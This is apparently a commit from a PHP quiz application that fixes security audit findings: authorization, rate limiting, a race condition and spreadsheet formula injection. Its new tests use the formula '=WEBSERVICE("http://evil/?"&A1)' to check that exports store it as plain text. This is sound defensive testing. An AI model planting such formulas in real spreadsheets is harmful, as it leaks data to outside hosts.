Declare ext-intl/ext-zip requirements and fix security audit findings (#213)

* Declare ext-intl and ext-zip as explicit composer requirements

DataExportService uses ZipArchive directly and the Dutch-locale
format_datetime Twig filter needs real ext-intl (the polyfill only
supports en), but composer.json only declared ext-ctype/ext-iconv.
Adding them lets `composer check-platform-reqs` catch a missing
extension before a runtime crash.

* Add authorization checks to PrepareEliminationController

index and viewElimination had no IsGranted guard, unlike every other
backoffice/elimination controller, so any authenticated user could
prepare or overwrite another season's elimination screens.

* Prevent formula injection in spreadsheet exports

Answer/candidate text starting with =, +, -, or @ was written to XLSX
exports as a live formula rather than plain text. Since seasons can
have multiple owners, a co-owner could plant a formula that runs (and
can exfiltrate data) when another owner opens the export in Excel.

* Add rate limiting to login and season-code entry points

Neither /login nor the public season-code guess form (POST /) had
any throttling, making both an unlimited brute-force/enumeration
oracle. Adds symfony/rate-limiter and enables login_throttling on
the main firewall, plus a dedicated per-IP rate limiter on the
season-code form.

* Add unique constraint to prevent double-submit score inflation

A candidate could submit two concurrent POSTs for the same question
before either committed, since GivenAnswer had no unique constraint
and the "next question" check was subject to a TOCTOU race — each
insert was then counted as a correct answer.

* Address CodeRabbit review findings

Include a Retry-After header on the season-code rate limit, correct
stale line references in the security audit doc, and fix a stray
comma in the reset-password email.

tests/Service/DataExportServiceTest.php

@@ -5,6 +5,7 @@ declare(strict_types=1);
 namespace Tvdt\Tests\Service;
 
 use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
+use PhpOffice\PhpSpreadsheet\Cell\DataType;
 use PhpOffice\PhpSpreadsheet\Reader;
 use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
 use PHPUnit\Framework\Attributes\CoversClass;
@@ -202,6 +203,43 @@ final class DataExportServiceTest extends DatabaseTestCase
         $this->assertSame('Man', $claudiaRow[$questionColumnIndex]);
     }
 
+    public function testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString(): void
+    {
+        $season = $this->getSeasonByCode('krtek');
+        $quiz = $this->entityManager->getRepository(Quiz::class)->findOneBy(['name' => 'Quiz 1', 'season' => $season]);
+        $this->assertInstanceOf(Quiz::class, $quiz);
+        $candidate = $this->getCandidateBySeasonAndName($season, 'Claudia');
+
+        /** @var Question $firstQuestion */
+        $firstQuestion = $quiz->questions->first();
+        /** @var Answer $chosenAnswer */
+        $chosenAnswer = $firstQuestion->answers->first();
+        $chosenAnswer->text = '=WEBSERVICE("http://evil/?"&A1)';
+
+        $this->quizCandidateRepository->createIfNotExist($quiz, $candidate);
+        $this->entityManager->persist(new GivenAnswer($candidate, $quiz, $chosenAnswer));
+        $this->entityManager->flush();
+
+        $zip = $this->openZip($this->getUserByEmail('user2@example.org'));
+        $quizContent = $zip->getFromName('krtek-Krtek-Weekend/Quiz-1.xlsx');
+        $this->assertIsString($quizContent);
+        $zip->close();
+
+        $sheet = $this->loadSheet($quizContent, 'Raw answers');
+        $rows = $sheet->toArray();
+        $header = $rows[0];
+        $questionColumnIndex = array_search($firstQuestion->question, $header, true);
+        $this->assertIsInt($questionColumnIndex);
+        $column = Coordinate::stringFromColumnIndex($questionColumnIndex + 1);
+
+        $candidateNames = array_column(\array_slice($rows, 1), 0);
+        $rowNumber = 2 + array_search('Claudia', $candidateNames, true);
+
+        $cell = $sheet->getCell($column.$rowNumber);
+        $this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
+        $this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue());
+    }
+
     public function testRawAnswersSheetBoldsCorrectAnswersOnly(): void
     {
         $season = $this->getSeasonByCode('krtek');

tests/Service/QuizSpreadsheetServiceTest.php

@@ -4,6 +4,7 @@ declare(strict_types=1);
 
 namespace Tvdt\Tests\Service;
 
+use PhpOffice\PhpSpreadsheet\Cell\DataType;
 use PhpOffice\PhpSpreadsheet\Reader;
 use PhpOffice\PhpSpreadsheet\Spreadsheet;
 use PhpOffice\PhpSpreadsheet\Writer;
@@ -121,6 +122,26 @@ final class QuizSpreadsheetServiceTest extends TestCase
         $this->assertCount(3, $second->answers);
     }
 
+    public function testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString(): void
+    {
+        $quiz = new Quiz();
+        $question = new Question();
+        $question->question = 'Who missed the assignment?';
+        $question->ordering = 1;
+        $question->addAnswer(new Answer('=WEBSERVICE("http://evil/?"&A1)', isRightAnswer: true));
+        $question->addAnswer(new Answer('Bob', isRightAnswer: false));
+
+        $quiz->addQuestion($question);
+
+        $path = $this->captureXlsx($this->subject->quizToXlsx($quiz));
+
+        $sheet = new Reader\Xlsx()->setReadDataOnly(true)->load($path)->getActiveSheet();
+        $cell = $sheet->getCell('B2');
+
+        $this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
+        $this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue());
+    }
+
     public function testXlsxToQuizThrowsOnInvalidMimeType(): void
     {
         $path = $this->createTempPath('.txt');